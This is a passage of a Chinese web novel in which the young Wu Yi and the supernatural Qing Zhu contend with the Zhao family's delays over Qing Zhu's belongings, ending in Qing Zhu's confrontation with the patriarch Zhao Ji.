他发出短促的叫声,整个人撞进了卿烛的怀里,鼻尖被撞疼,眼眶也蓦然湿了。 “好痛。” 卿烛刚回到身体,行动还有些僵硬,便躺着没有动,只是捉住他细腕的手转到后面,搭在他的背上,指尖触及柔软的发丝,很轻地捻了捻。 乌宜心虚得很,怕他发现自己的杰作,只赶紧转移话题:“你去干什么了?” “赵家。” “他们把东西送回来了吗?” “说暴雪天气,航班停飞,还要等。” 乌宜一听就变了脸色,趴在他身上抬起头,小脸满是质疑,“他们是不是哄骗你呢?” “我查过了,的确是天气问题。” “哦。”乌宜撇撇嘴,却还是不放心,“那他们不能先到别的地方去吗?极端天气不得等很久。” 卿烛摸了摸他的后脑勺,“你很急?” 他说话时,乌宜躺在他的身上,能够感觉到他胸膛的微微震动,他摇摇头,觉得这种感觉很奇妙。 “但是我觉得这种东西放在别人那里,总是很不放心的,唔……虽然那是你的东西。” 卿烛轻笑一声,拍拍他的后背,“起来。” “不。” 乌宜怕他坐起来从镜子里看见自己的头发,只能黏黏糊糊拖延时间,“卿卿,你说你出生在新年,那你的生日岂不是已经过了。” “嗯。” “那等明年我再给你过,你就好好期待吧。” 卿烛想笑,“你要送多大的礼,值得我提前这么久等待。” “你别管,反正肯定会送到你心坎上。” 卿烛没再开口,只是展开手掌握住他的后颈,很轻地揉了揉。 乌宜觉得很痒,而且还有种很不自然的感觉,忍不住缩缩脖子,抬起头龇牙恐吓他。 “不准再捏我了。” “我也想说,你先起来。” “不!” 后颈揉捏的那只手力道更大了,显然是在用行动回复他的话。 你不起来,那我也不松手。 “你真的好小心眼啊。” 乌宜被他揉得脊背发软,两只手跟猫爪似的搭在他结实坚硬的胸前,抬起头装模作样要去咬他,卿烛微微抬起下颌,他便一头栽进对方颈间,牙齿磕到凸起的滚烫喉结。 天! 他连忙起来,看见那一块已经红了,微微滚动的喉结泛着被蹭过的红,卿烛此时仰着头蹙眉,模样倒是有几分……性感。 乌宜心脏微颤,有些心虚地移开目光坐起来。 “卿卿,我不是故意的。” 其实他从前还做过更加过分的事情,比如咬卿烛的手,扯他的头发,可莫名的,他就是觉得自己这个行为要比之前的都更加过分。 卿烛抬手揉了揉脖颈,冷白的修长手指拂过那处,倒是没什么反应。 “你该磨磨牙。” 乌宜下意识舔了舔自己的小虎牙,小声嘟囔:“这是天生的。” 有虎牙多可爱啊。 卿烛没搭理他,坐起身,忽然注意到身侧垂落的细辫,伸手一摸。 “……” 乌宜顿感心虚,跳下沙发往房间跑,连鞋都顾不上穿。 好在卿烛并没有追究这件事,当天还顶着他编的那一头小辫子出门去了秦家,之后的几天,乌宜就像是上了瘾,总是忍不住盯着他那一头顺滑墨黑的头发看,忍不住想要打扮打扮。 只是一直都没找到机会。 这天结束课程离开学校,他还没走出校门,便瞧见一辆招摇的跑车停在外边,站在边上的赵易穿着简单的羊毛衫,倒是显得格格不入。 猜到对方是来找自己的,乌宜便主动上前,赵易见了他果然露出笑容。 “小宜,今晚卿先生在我们这吃饭,父亲让我来接您。” 乌宜便上了车。 结果到了路上,赵易又接到了电话,听完似乎情绪很不好,在为什么烦恼。 乌宜听见了对面的人催促他过去,便主动道:“现在时间还早,如果你要忙的话,我们也可以先过去你公司一趟。” 赵易闻言很是感激,“谢谢小宜。” 他驱车前往公司,抵达以后乌宜才发现这就是赵机名下的那所影视公司,这次赵易匆匆赶来公司,正是因为他们重点投资的电影男二忽然爆出黑料,目前正需要紧急公关。 乌宜跟着他到了办公室,看着过道两侧亮着光的照片,发现这些都是当红的明星,显然是他们旗下签约的艺人。 走了没两步,他看见了一张熟悉的脸。 林白杨? 照片上的男人站花树下露出笑容,清纯而阳光,的确是很好看。 只是……跟他印象里的林白杨似乎不太相同。 “小宜?”赵易察觉到他没跟上。 “来了。”乌宜收回目光,快步追了上去。 这时便听见助理在和赵易商量重新选角的事情。 “不是说风评一直很好吗?怎么到我们这忽然就被爆PC了?你现在联系之前的演员。” 助理很是为难:“那几位都已经有档期了,而且都是有地位的老演员了,怎么会捡漏别人演过的角色,我们第一时间就发出了邀约,但是两边都已经拒了。” 乌宜听得云里雾里,等进了办公室,赵易还不忘让助理给他准备一份饮品和点心,让他乖乖在屋子里等,自己出去开会了。 他等了半天,把茶点吃完了,觉得有点饿,屋子里也无聊,索性出门去外面走动。 刚走出长廊,就听见敞开的会议室大门中传出了热闹的讨论声。 “我绝对不允许我的戏里出现这种半缸水,当初我就说过谢生这个角色要找有阅历的男演员,最好是拿过奖的,否则根本就压不住!这个角色亮点不比男主逊色多少,甚至是整部电影里的核心!” “曾导,你也要看看情况,都拍到一半了,现在那还有人愿意接手,还影帝呢,稍微有些资历的都不会来。” “那也比请流量好,要是真找这几个,赵总你别说赚钱,能不亏钱就不错了!” “……” 乌宜靠在门上,看见了屏幕上的几张照片,的确都是他原先在电影里看见过的面孔,气质都属于斯文败类那一款的。 “那你说怎么办?难不成把那个劣迹艺人继续留着?那这电影才是真别上了!” “我们还有的是时间,干嘛这么着急呢?这些戏份补拍就是了,两个月难不成还定不下一个合适的演员?” “你……” 赵易被这满屋子的人吵的头疼,转头忽然看见乌宜站在门外,怔了一下,连忙起身过去。 “等急了?” 屋内的人还以为他是不满吵闹要起身离开,安静下来看见门口站着的人,也都压低了声音。 乌宜摇摇头,说:“这是个什么角色啊?” 赵易其实并没有心情解释什么,但或许是因为乌宜的声音很轻,眼神又那么专注,忽然间他心中的烦闷也挥散了些。 “是一个佛口蛇心的反派角色。” 乌宜想了一下:“我觉得有一个人很符合你们的要求。” 此话一出,不仅是赵易,会议室里的人也都安静了下来。 赵易还以为他在开玩笑:“谁?” “盛莲安啊。” 会议室的人面面相觑,不知道这少年和赵总是什么关系,只忍不住暗暗吐槽。 “盛莲安都多久没演戏了。” “就是,他都息影这么多年了,根本不打算再复出吧,前几天出车祸的是不是他?” “不靠谱,要我说不如选黄星。” 赵易表情也很为难:“小宜,我很快结束,你要是无聊,我让他们给你送点东西玩。” “我觉得盛莲安很适合这个角色,而且你们不是说有两个月的时间吗?到时候他车祸的伤肯定已经好了。”乌宜想了想,“你们觉得他合适可以直接邀请他,如果角色真的有你们说的那么好,他会答应的。” 盛莲安息影多年,多少知名大导向他发出过邀约,可他始终没有再复出过,即便是如今他的名气早不如早期,可前些年那些拿奖大爆的剧本都没能打动他,现在即使这个班底不错,他们却也从未考虑过这个人。 倘若别人对自己说出这些话,赵易肯定会认为这个人在故意找茬,可乌宜似乎并没有必要跟他开这种玩笑。 言尽于此,乌宜没有再多说什么,转头回了办公室。 二十分钟后,赵易终于结束了会议,带着他前往吃饭的地方,而在下楼电梯门打开时,乌宜抬头便看见了外面笑容僵硬的林白杨。 “赵总好。”林白杨打完招呼又转向乌宜,“是小宜啊。” 赵易听了回神,问:“你们认识?” “小宜是我邻居,我们住的很近。”林白杨抢先回答,又试探着看向乌宜,“赵总和小宜……” 乌宜一想到自己因为他和卿烛争吵过,心里就不是很开心,索性装哑巴站在边上不说话。 好在赵易也没什么心思跟他聊天,只道:“我们还有事,先走了。” 林白杨没敢继续问,只能目送他们离开。 上了车,乌宜扭头看向窗外,发车的时候就听见赵易问他,“你们很熟吗?” “不熟。”乌宜想了一下,又补充,“他跟我表白过。” 赵易沉默了半天,才说:“他人品不太好,你离他远点。” “哦,我知道。” 抵达餐厅,赵机和卿烛还在包间餐厅外喝茶,乌宜一进去就往卿烛边上走,见他身边没座位,就有些不高兴。 “小朋友坐边上吧。” 赵机笑得和蔼可亲,指了个距离卿烛一米远的位置,中间还放着个很大的柜子盆栽。 乌宜拧着眉,还没来得及走,就见卿烛往边上坐了些,他想也没想便跟卿烛坐在了同一张太师椅上,紧紧贴着他,去嗅茶杯里的缭绕香气。 “喝吗?” “不要。” 卿烛本来也只是随口一问,他知道乌宜不爱喝茶,只是喜欢好闻的香气,便给他倒了一杯,让他自己慢慢嗅。 “先生跟这位小朋友关系还真不错。”赵机又是呵呵笑。 卿烛放下茶盏,语气淡淡,“年纪小脾气大。” 乌宜怀疑他在说自己坏话,扭头蹙眉去看他。 几人说了话,便起身去里间吃饭,一桌的饭菜非辣即香,很符合乌宜的口味。 只是落座前,他又恍然发现方才在外间时赵易始终站着,进来以后也是得到赵机的示意后才坐下的,看起来毕恭毕敬却显得拘谨,完全不像是爷孙。 赵家的家风这样严苛吗? 一顿饭吃完,赵机再次就飞机延误一事向卿烛道歉。 卿烛什么也没说,他便自己笑道:“要不是先生信任我,恐怕我自己都要对自己不放心了,您放心,斐然正在想其他办法回来,不会耽误太久的。” “能送回来就好。”卿烛淡道。 “那是当然。” 赵机又做了不少承诺,顺带着将自己孙子介绍给卿烛,说了不少赵易的好话。 “这些年我力不从心,这些产业上的都交给斐然和小易打理,我那个小孙子不争气,好在有儿子和大孙子,不然我这家底留下都不放心。” 卿烛对这些话题并不感兴趣,扫了一眼坐在边上的赵易,又将目光落在乌宜的身上。 乌宜刚吃完一只大虾,红润的嘴唇被辣的微微发肿,察觉到目光狐疑地看他一眼。 “嗯?” 后脑勺被摸了摸。 “继续吃吧。” 吃过饭离开,乌宜发现卿烛开了车库里那辆保时捷,高高兴兴坐进去,和他说了自己今天去赵易公司的发现。 “他们正好在讨论换角,我觉得特别适合盛莲安就推荐了,就是不知道赵易会不会去找,他看起来觉得我是在开玩笑……” 说到在楼下遇见林白杨,卿烛才有了反应。 “又是他。” “是啊,你也觉得很巧吧。”乌宜满不高兴,“怎么在哪里都能遇见他呢?他看起来还挺心虚的,还问赵易我们的关系。” 卿烛的脸色沉了沉,“离他远点。” “我离他已经很远了!” “我是说赵易。” 乌宜怔愣,有些不解:“为什么啊?今天他还亲自来接我。” 卿烛轻轻叹了口气,“你看不出来赵易接近你的原因吗?” “啊?”乌宜被他一看,心里有点儿慌张,“是因为我和你的关系,所以他想要讨好我。” 他很熟悉这种感觉,因为之前秦家的人也是这样,他们畏惧尊敬卿烛,所以理所应当的就对他也更加关照。 可是卿烛都没有让他和秦家的人保持距离感,为什么却…… “秦家只有秦念语一个继承人,秦一帆不成器,秦似锦还在念书,赵家却不同,赵斐然和赵易都在接手旗下产业,他们是竞争对手,你掺和在里面会出事。” 乌宜听得云里雾里,大致有点懂了。 “好吧,那我以后不跟赵易玩了。” 好复杂哦,不过他觉得赵易这个人其实不坏,至少比赵机和赵斐然给他的感觉要更好。 往后的日子他也说到做到,没再跟赵易有单独的联系,只是没几天就在网上刷到了盛莲安复出的热搜,才发现赵易公司投资的那部电影真的去找了盛莲安,而且说动了对方。 [这是哪年哪月啊?看见消息的时候简直像在做梦!] [真的假的?我忽然感谢**了,居然把盛莲安喊来救场] [别高兴得太早,他都多少年没演戏了,说不定连个新人都不如] [不管怎样还是很期待啊啊啊啊!希望快点好起来,赶紧把戏份拍了,一天拍完一天送审一天上映能做到吧!!!] [我去,你们知道大女主剧《月的夜》官宣女主了吗?是程简!] [今天是什么日子,这两口子不会离婚了吧,都开始冒出来搞事业了] [都说患难见真情,这演的不会是大难临头各自飞吧] [心疼我女神] 舆论发酵了几天,在热度最高时,盛莲安和程简一同发布动态,配上了两人在病房合影的照片,相牵的手上佩戴着他们的结婚戒指,贴在一起的小熊玩偶放在身边,恩爱非常。 盛莲安:[结婚九周年,继续奔赴自己的梦想,爱人在身边无所畏惧@程简] 程简:[结婚九周年,年少的梦想,爱人@盛莲安和演戏,都将继续伴随身边] 两条动态发布,盛莲安程简的词条瞬间窜上热搜,在热切讨论中,离婚传言不攻自破。 乌宜默默点了赞,看见这一幕心中莫名很是感动,切回了自己的账号,却又看见熟悉的后台消息。 [又在这炫富啦,假货王,全是赝品还在这发的起劲呢] 再往上滑,几条都是不堪入目的评论,那个账号从几天前就一直在他的主页流窜,他发一条更新,对方就会指责他发的是假货。 这次露的是一只手表,前段时间秦念语送他的,细细的墨绿色表带很是好看,他还没有搜过价格,但也知道秦念语不会给他假的东西。 想着,他直接用大号回复,[你没见过正版表吧,看什么都是假的] 发完,他把那个账号拉黑,把前面发的那些评论全部删掉。 卿烛今天不在家,也不知道去做什么了,但乌宜这两天总觉得很不安,他忍不住又去搜了赵斐然去的那座城市的天气,发现还是暴雪天,不由得生出疑惑。 按理说这种天气是会交通瘫痪的,但偏偏这样巧合,总让他觉得不对劲。 这些天赵机和赵易也没再联系他们,是打算这样拖延下去吗? 翻来翻去,他准备爬起来给卿烛打个电话问问他在哪,可还没按下去,就接到了赵易的电话。 犹豫片刻接起来,对面声音热情,“小宜,你今天有课吗?” “没有的。”乌宜老实回答。 赵易闻言便笑了,“那正好,我请你吃个饭好吗?感谢你之前给我推荐盛莲安的事情,要不是你,我现在估计还在为这件事情而发愁呢。” “啊?” 乌宜想到卿烛之前说不让他和赵易来往密切,只能找借口拒绝,“不用谢了,我只是随口一说的,我今天不是很方便。” 赵易问:“是有其他事情吗?那这两天有没有空,我还有点事情想和你说。” “嗯,过两天再说吧,我这段时间比较忙。” 乌宜的借口很拙劣,赵易听出了他的意思,便没有继续强求。 “那你有空的时候和我说。” “好。” 乌宜挂掉电话,总觉得赵易好像要跟自己说什么很重要的事情- 卿烛这些日子早出晚归,两人见面的时间都变得很少。 终于,这天乌宜没课,硬生生熬到了凌晨一点,总算蹲到卿烛回家,迫不及待出去找他质问,却发觉卿烛发上肩头都是水雾。 “你这是去哪了?“ 虽然知道他的体质不同于凡人,但乌宜还是担忧起来,推着他去浴室洗澡。 等卿烛出来,他已自行将头发烘干,面容上带着淡淡倦色。 乌宜一时间什么也顾不上,将人扯到床边坐下,才问:“你去干什么了?” “上山。” “你去山上干嘛?”乌宜想不到他去的是哪座山,“是去后山吗?” “不是。”卿烛说了个地名。 乌宜不太记这些位置,打开手机地图搜索,发现那地方距离他们住的地方有一百多公里。 难不成卿烛这几天就一直来回跑? “你跑这么远做什么啊?” 他抓住卿烛的手臂满脸不高兴,而对方就像是疲倦了一般,倒在床上,连带着将还未抽回手的他也带倒在柔软的床铺上,然后阖上了双眼。 “帮秦东临和赵机看墓地,他们前些时间见过一面。” 乌宜躺在他臂弯里,想了想把脑袋枕在他手臂上,就着这个姿势问:“你不是说秦东临至少还有十年好活吗?” “嗯,提前订了地方总不是坏事,他们命数复杂,寻常的风水宝地并不合适。”卿烛说到这顿了一下,“尤其是赵机。” 乌宜一听也知道问题肯定出在这个人的身上。 “这个赵机的命怎么就那么奇怪啊?” “他是天煞孤星,短寿之命,这些年估计做过不少恶,想要灵魂得以安息,位置必须完全符合他的命格。” “他还做过什么恶啊?”乌宜睁大眼睛,很是不满,“这样的人,随便找个地方丢了拉倒。” 卿烛唇角勾了一下,似乎是想笑。 “他不敢说。” 乌宜止不住在心里计较:“你不要帮他了,他之前还说很快把你的东西送回来,结果到现在还没到手呢,说不定就是故意白嫖你。” “白嫖?” “是啊,白嫖你的劳动力,真是万恶的资本家。”乌宜说到这,心里又不平起来,“你对他们这么好,怎么不帮我也找找墓地?” “你才活了多少年,就开始想死的事情了。” “我不管,那样我才有安全感,不然万一哪天不小心死了怎么办。” 知道他只是在瞎说,卿烛倒也没生气,微微睁开眼看着天花板上的吊灯,竟然真的认真思考起来。 只是说出口的话又显得不那么严肃。 “你怕黑胆子又小,埋在陌生的地方不稳妥,我帮你想了一个地方。” 乌宜起初以为他在调侃自己,可听见后面那句,又忍不住好奇,“哪里?” “林水镇正南方的山腰上,我先前就埋在那里,我替你收拾好,留下光蝶常年亮起,你就不会害怕了。” 明知道两人只是瞎诌,可听见卿烛沉稳安静的描述后,乌宜居然也忍不住幻想了一下。 与卿烛初见的那段记忆在他脑海中依旧很模糊,从前每次想起都觉得浑身发寒,就好像还在暴雨如注的那个冰冷夜晚。可是现在随着卿烛这样一说,他却想到了那只翩跹着翅膀落在指尖的漂亮蝴蝶,心跳不由得快了。 “好啊,那就埋在那里吧。” 某种意义上,他躺在卿烛曾经休息了几十年的地方,也算是有他的陪伴吧- 赵机请卿烛去老宅的那天,乌宜正坐在他边上,揪着一簇头发打辫子,见卿烛接通电话,便凑过去听。 卿烛应答完挂断电话,他便眼睛亮起,期待道:“是不是你的东西送到了?他们怎么不自己送过来呢?” “你想让他们来家里?” 乌宜想象一下,又连忙摇头:“不要,还是我们过去吧。” “我们?”卿烛斜他,“你不是要去店里。” 乌宜不甚在意:“去不去都无所谓啦,我可以远程教学,反正文雅很聪明的,对了,你都不知道林芬苒有多聪明,她把我们店的账号运营的很好,最近生意越来越好了。” “那你别亏待。” “当然了,你以为我是什么亏心老板吗?” 换好衣服,两人前往赵家,乌宜并不怎么喜欢去这里,所以并没有特意打扮,身上是简单的浅蓝牛仔裤和薄款圆领羽绒服,一条浅蓝色的丝巾系在纤长的脖颈上,灵动漂亮。 卿烛走在他前面,发丝间还未拆掉的小辫子若隐若现,让他心情变得很好。 只是等走进了赵家,他嗅到里面散发着一股淡淡烧焦味,又不由得蹙紧眉头,“什么味道啊,臭臭的。” 赵机从里面快步走出来,手上拄着一根拐杖,笑中带着歉意,“实在不好意思,家里最近有白蚁,这才请了人专门烧东西除虫的。” 卿烛并不在意这些,只问:“东西在哪?” 赵机连忙指引他们朝着里间进,乌宜好奇地跟进去,看见房间的圆桌上放置着一只木箱子,倒是和秦东临的那只有几分相似。 “先生,斐然那边还没处理好,他准备到别的地方去转机,手续方面出了些问题,但我昨晚清理库房时找到了一些您曾经的物品,这才冒昧让您前来。” 赵机打开箱子,尘封的纸张气息散出,乌宜抬手遮在鼻子前面,有些好奇地往里面看。 是几叠陈旧的纸张,上面还沾染着明显的墨迹,那些飞舞的字很好看,转折锋利,就是看不懂写的是什么。 乌宜拿起其中一张看了看,隐约间有种预感,下意识去看卿烛,“你写的?” “应该是。” 卿烛垂下眼眸,却没有碰那些纸,只是将沉冷的目光落在赵机的身上。 “就这些?” 赵机迟疑道:“库房暂时只找到这些,前些时间不是闹虫子,我让家里的人去收拾,这些字我也看不懂,怕对您来说是重要的东西,所以……” 随着一声惊呼,乌宜猛地抬头,看见卿烛伸手扼住了赵机的脖颈,几乎将他整个人悬空提起。 拐杖落在地上,赵机的脸肉眼可见地涨成了猪肝色,面上的一道道沟壑变得无比清晰,眨眼的功夫像是老了二十岁。 乌宜被这一幕吓到,有些不敢出声。 “赵机,我耐心有限,你最好别再玩这种把戏。”卿烛的声音冰冷。 赵机似乎想说什么,却没办法开口,他被迫踮着脚,却还是无法得到一丝空气。 “我给你三天时间,再耍花招,就别怪我不念旧情。” 话落,卿烛松了手。 赵机堪堪落地却站不稳,整个人狼狈地跌坐在地上,捂着喉咙剧烈咳嗽,身体还在不自觉地颤抖着。 “我知道了,您别着急,我一定……” 外面的人听见里头动静匆匆跑了进来,看清楚卿烛后怔了怔,连忙去扶赵机。 那是个很年轻的男人,看起来要比赵易小几岁,乌宜没见过他,但脑海中已经闪过了一个名字。 这应该就是赵机之前提起的那个不争气的小孙子——赵问期。 “爷爷,你没事吧。”赵问期语气急切。 赵机连忙摇头,被扶起来重重咳嗽两声,急切地看向准备离开的卿烛,“先生,我一定让斐然尽快回来,您别着急,还有这些您曾经的亲笔……” 卿烛只回头看了一眼,乌宜反应过来跟上去,赵机便道:“问期,你帮先生把这些搬到车上去。” “好。” 赵问期什么也没多问,将他安顿在椅子上,便抱起那沉重的木箱子跟上了前面两人。 乌宜都没完全反应过来刚才发生什么,就又跟着卿烛离开了。 走出了大门,那股难闻的气味总算消失,他不由得拍了拍外套,怕那气味沾染到自己的身上。 赵问期帮他们将箱子放在后座,还很礼貌地冲着乌宜笑了笑,然后才转身离开。 不料等他走后,乌宜坐上车,却是一脸见了鬼的表情,“你把他爷爷掐成那样,他还冲我们笑呢。” 卿烛朝着赵问期离开的方向看了一眼,什么也没说。 乌宜还在问他为什么忽然发难- 另一边,赵问期走进大门,面上的笑容便完全收敛,散漫地回到屋子里,嗅到那股难闻的气味,忍不住蹙紧眉头。 进门后,他又挂上一副担忧神情,快步走到赵机面前。 “爷爷怎么办?冯天师说的那些东西看起来完全没用,他们走的时候一点异常都没有。” 赵机此刻也再没了方才的谄媚忠诚姿态,苍老疲倦的脸上满是阴沉,脖子上的掐痕已经变为了深紫色,显得格外可怖。 “未必毫无作用,他这个人城府最深,情绪从不表现出来,只能说这个法子用处不大,还是得重新联系其他人。” 赵问期:“可刚才他说了,只有最后三天时间,那时还不让父亲回来,恐怕他还要发作。” 赵机冷笑道:“冯天师不行,还有别的选择,我知道有个靠谱的大师,只是想要说动他出山……或许还需要一些手段才行。” “您有法子?” “这些事还是要靠你大哥和你父亲才行,你就不必多问了。” 赵机抬手摸向脖颈的伤痕,眼神变得阴沉狠厉。 “他自己亲手送出去的东西,哪有说拿就还回去的道理。” “您说得对。”赵问期配合回答,原本散漫的脸上却浮上几分若有所思。 第37章 回到家, 将那一大箱子纸在地上铺开,边角分别用鹅卵石压住,乌宜捏着鼻子蹲在花园的大石头上, 忍不住吐槽,“为什么这些纸都这么臭啊,他们杀虫至于杀到这个地步吗?” 卿烛坐在摇椅上翻阅木香最底下的线缝本子,没有接话。 乌宜收回目光,又觉得奇怪, “而且你写的到底是什么字啊,一个都看不懂。” 看起来和他认识的字很像,可是各种笔画顺序却又不同, 有一些看起来还真像象形字, 他越看越感觉头疼。 卿烛慢慢道:“自创的,想学吗?” 语气明显是调侃, 乌宜却毫不在意,起身凑过去坐到他身边, “好啊,你说这个是什么字?” 卿烛睫羽扇动一下,答:“开。” “开什么?” 乌宜继续往下指。 “今天很开心。” “你骗人!”乌宜一听就知道他在瞎扯, “这种话怎么可能是你写的。” 卿烛合上手中的本子, 似笑非笑看他,“我为什么不能开心, 难道在你心里,我是怨天尤人那一类的。” “也不是吧,但我有预感,这句话肯定不是这个意思。”乌宜坚定无比,起身把那张纸塞回了石头下面, 洗过手才回来跟他并肩坐下。 “你不说就不说,那跟我讲讲这个本子里写了什么吧。” 见卿烛没有要动的意思,他主动翻开第一页,手指放在第一行,示意卿烛念给他听。 卿烛顿了顿,耐不住他一个劲挤自己,还是沉沉开口:“新年,下雪,东河村怨气漫天,和阿风前往,山里着火……” 乌宜逐渐听得入神,一个字一个字对照过去,不知不觉间竟然也能对应上几个了。 不过这都得益于卿烛没有长篇大论描写任何东西,就只是简单记录自己去过的地方。 “年末发洪水,哀声遍野,阿风听见有小孩喊……” 听得正认真忽然顿住,乌宜狐疑抬头,“喊什么?说啊。” 卿烛看了他一秒,也不知道在想什么,接下去:“喊痛,阿风救了人,这次救了个小孩,叫木安。” 一直听到天蒙蒙黑,乌宜才想起来要把那些纸张都收起来,但温度降下来,他又不是很想动,只好眼巴巴地盯着卿烛,等对方一挥手将那些东西都卷回了箱子里,才搓着手回到暖烘烘的屋子里面。 晚上吃过饭,卿烛去影音室里看关于玄学的纪录片,乌宜对那些不太感兴趣,洗过澡去楼下榨橙汁喝,端着准备回房间时,路过那只安安静静放在客厅窗前的大箱子,又下意识停住脚步。 杯子放在茶几上,他走过去打开,从里面翻找出下午在院子里看的那张。 下午盯着这张纸看了很久,所以此时很快也就找寻到了那行,他皱眉看下去,半蒙半猜地解读。 “受伤了,头很痛……外、吵。” 后面的他完全看不懂,不由得蹙紧眉头,心情一瞬变得复杂,想到卿烛平时古井无波的淡然模样,又回想起对方今天下午提及这个字眼时的停顿。 为什么停下呢?是怕被他发现,可又为什么说下去,是因为觉得他那么迟钝,根本不会在意这些吧。 乌宜抓着那张纸,心脏仿佛被揉作一团,难受到呼吸都变得困难。 那一瞬间心中涌动的情绪难以言说,他只是本能地感到不好受。 “……” 乌宜也没想到自己第一次主动去找秦东临,会是在这种时刻。 今天一早卿烛便出了门,招呼也没打,他索性便来到了秦家,顺便带着那几张已经散过味道的纸张。 开门的是秦似锦,她看见乌宜表现得很震惊,但还是礼貌地将他迎进了屋子里。 “秦爷爷在吗?”乌宜背着个皮质的单肩包,像是个要出门写生的文艺少年。 “在的,楼上书房。” 秦似锦将他带上楼,秦东临瞧见乌宜来了也面露诧异,但还是笑意盈盈地让他坐。 乌宜很少来秦家,不免拘谨,端着秦似锦倒的热可可喝了一口,才小声表明了来意。得知他想让自己看些东西,秦东临来了兴趣。 “这些字……” 秦东临戴上眼镜,面露为难。 看他的表情,乌宜不禁好奇:“秦爷爷,您认不出吗?卿烛原先没有和您说过具体的意思吗?” 秦东临在卿烛的身边照顾这么多年,不应该连这些都不认识吧。 秦东临将他带来的几张都逐一翻阅,最后才摘下眼镜,“这些我确实都不认识,不过隐约间能看出是先生的字迹,他从未和我们说过具体含义,我们便也没敢多问。” 乌宜心底一动,“我知道了,谢谢您。” 他将那几张纸小心翼翼地叠在一起放进文件夹,准备离开之前又想到了什么。 “秦爷爷。” “嗯?还有什么问题吗?”秦东临是个和蔼可亲的老人,此时冲着乌宜笑着,也终于减弱了那种距离感。 乌宜想到自己之前对他的猜忌,有些不好意思。 “我就是想像问您,有没有听过卿烛说他……身体不舒服?” 秦东临脸上的困惑更重了,半晌无奈地摇摇头,“这还真没有,先生几乎没有和我们说过关于他的事情,大多数都是靠我们私底下的猜测,我们那时胆子都很小,不敢总是往先生的跟前凑,现在想想也是可惜。” 他说完露出个笑容,慈爱地望着乌宜,又让乌宜想起自己之前懵懵懂懂粘在卿烛的那一幕被他们看见,顿时心虚。 “原来是这样。” 有些失望,但他还是礼貌同秦东临告别。 路上拒绝了秦似锦提出的留下用餐邀请,乌宜正心事重重走出大门,就忽然接到了一通未知来电。 平时这种电话他都会直接挂断,今天也一样,可等他挂断后,那边又立刻拨了回来,如此反复两次,乌宜还是忍不住接了起来。 他将手机贴在耳边没说话,坐进车里等待发动,逐渐失了耐心。 正当他准备挂断时,一道陌生的声音终于响起,“李青泉失踪了。” 乌宜怔住,第一反应是恶作剧,“你是谁?” “他在天悦酒店408,处理完赵家的事情,麻烦你去救他一趟。” 对面说完,便直接挂断了电话。 乌宜摸不着头脑,再顺着那电话拨过去,可已经没有人接了。 忽然间,他想到了一个名字,李青泉的师傅,空缘天师。 车窗门忽然被叩响,他被吓了一跳,扭头便看见秦念语站在车外,似乎是刚从外面回来,此时脸上带着些许疑惑。 乌宜降下车窗。 “车坏了吗?”秦念语问。 “不是。”乌宜心里很不安,还是问,“秦阿姨,你能帮我一个忙吗?” 见他表情不对,秦念语正了脸色,“你说。” “你能不能让人去天悦酒店408看看,我有个朋友好像被人困在那了。” 秦念语没有多问什么:“好,我现在去看看,你要一起吗?” “不了,我还有别的事情。”乌宜这才想起来启动车辆,准备离开前又转头看了她一眼,“谢谢您。” 秦念语唇角很轻地勾了一下,没有说话。 驱车离开秦家,乌宜一路上心跳极快,脑海中闪过自己从卿烛笔记中找寻到的那些关键词,又想到很久之前卿烛那短暂的失控。 这一切都在告诉他,其实卿烛也远没有表面上那样从容淡定,他也有许多没有告诉过别人的秘密。 车速越来越快,逐渐驶出城区中心,两侧的风景急速后退。 他从来没有好奇过卿烛为什么会有那么强的能力,始终觉得对方无所不能,可或许……在承受这样强大的能量时,也伴随着某种无法去除的痛苦呢? 抓着方向盘的手不自觉攥紧。 一路疾驰至赵家,乌宜推门下车,腿止不住地发软。 深吸一口气走进大门,却没有听见前几次来时的那种欢快鸟叫,就连前院的池塘都安静一片。 安静到有些诡异。 脑海中可怖的想法让乌宜脊背发凉,他不敢再耽搁,大步往屋内跑去,绕过了前厅,终于看见倒在地面上的几道身影。 心跳几乎停滞了,他僵直地走过去,俯身伸手去探那几人的呼吸,感受到热气才骤然松了口气。 还好,没死人。 他连忙站起来往大厅方向跑- 宽敞的大厅黑压压一片,某种烧焦的气味蔓延开,浓重而刺鼻。 赵机被那冰冷而不容抗拒的力道狠狠砸进椅子里,后背几乎将沉重的木头撞破,猛地吐出一口血来。 “爷爷!” 赵问期看见这一幕,脸色煞白,身体颤抖着看向站在厅内的黑衣男人。 他的神情还是那么淡漠冷然,仿佛面前的一切都不是他造成的。 赵机死死撑着身体,不让自己从位置上滑落下去,他的谎言破败,请的人也没到场,早知道自己绝不可能对卿烛造成任何威胁,忽然间也像是释然了。 他死死盯着那抹虚幻的黑影,恐惧的眼神逐渐变得憎恶,身体颤抖起来。 “你到底为什么要回来?说好的两百年,是你没做到!” 他说着,回想起自己前半生凭借那些力量得到的优待,眼泪不禁掉了下来,顺着脸上深陷的沟壑蜿蜒而下,狰狞而又丑陋。 “你自己送出的东西,说拿回去就拿回去,有想过我们怎么办吗?你既然送不起,当初就别分给我们!” 卿烛站在不远处冷冷地看着他。 “到现在我也不怕你什么了,当初我们一群人对你毕恭毕敬,几乎把你捧到神坛上,可你给过我们什么吗?”赵机抬手拭去眼泪,狠狠地指向他,另一只颤抖的手撑在桌上要站起。 “你只给我们带来了一堆麻烦!这些传家宝放在家里没有半点作用,当年有多动乱,你倒是睡着了什么都不知道,我差点为你的这些东西丢了命!你现在因为我借用了那些念力而怪罪我,倘若我没用,恐怕早就死了,那时你还不知道要去哪找自己的东西呢!” 赵机越说越激动,全然将自己这些年做的事情都抛之脑后,只将自己视作了这世间最可怜最虔诚的信徒。 赵问期在边上听得头皮发麻,半句话也不敢插。 那个男人始终没有动作,可他方才也是亲眼见证了对方手一挥便放倒一院人的画面,此时只觉得后怕。 赵机骂完一通,喘着粗气,又猛地咳出两口血来。 卿烛上前一步,他便警惕地抬起头来,苍老的眼眸中满是畏惧。 “你、你要做什么?” 卿烛看起来并没有被他激怒,只淡道:“既然你如此憎恨我留下的东西,那我取走于你而言应该也是好事。” 他话音落下,便抬起头来,赵机见状却骤然瞪大双眼,下意识要逃。 身体凌空而起,他目眦欲裂,望着近在咫尺的那双血红眼眸逐渐泛起光,莫大的惶恐和惧怕席卷全身。 “不——” 他瞪大双眼,身体猛地绷直,隐约间感觉仿佛有某种始终支撑着他的力量正在被缓缓抽离,他想要哀声求饶,却发不出丝毫声音。 待卿烛松了手,他的身体便如同抽去灵魂的空皮般软软落在地上。 “爷爷!” 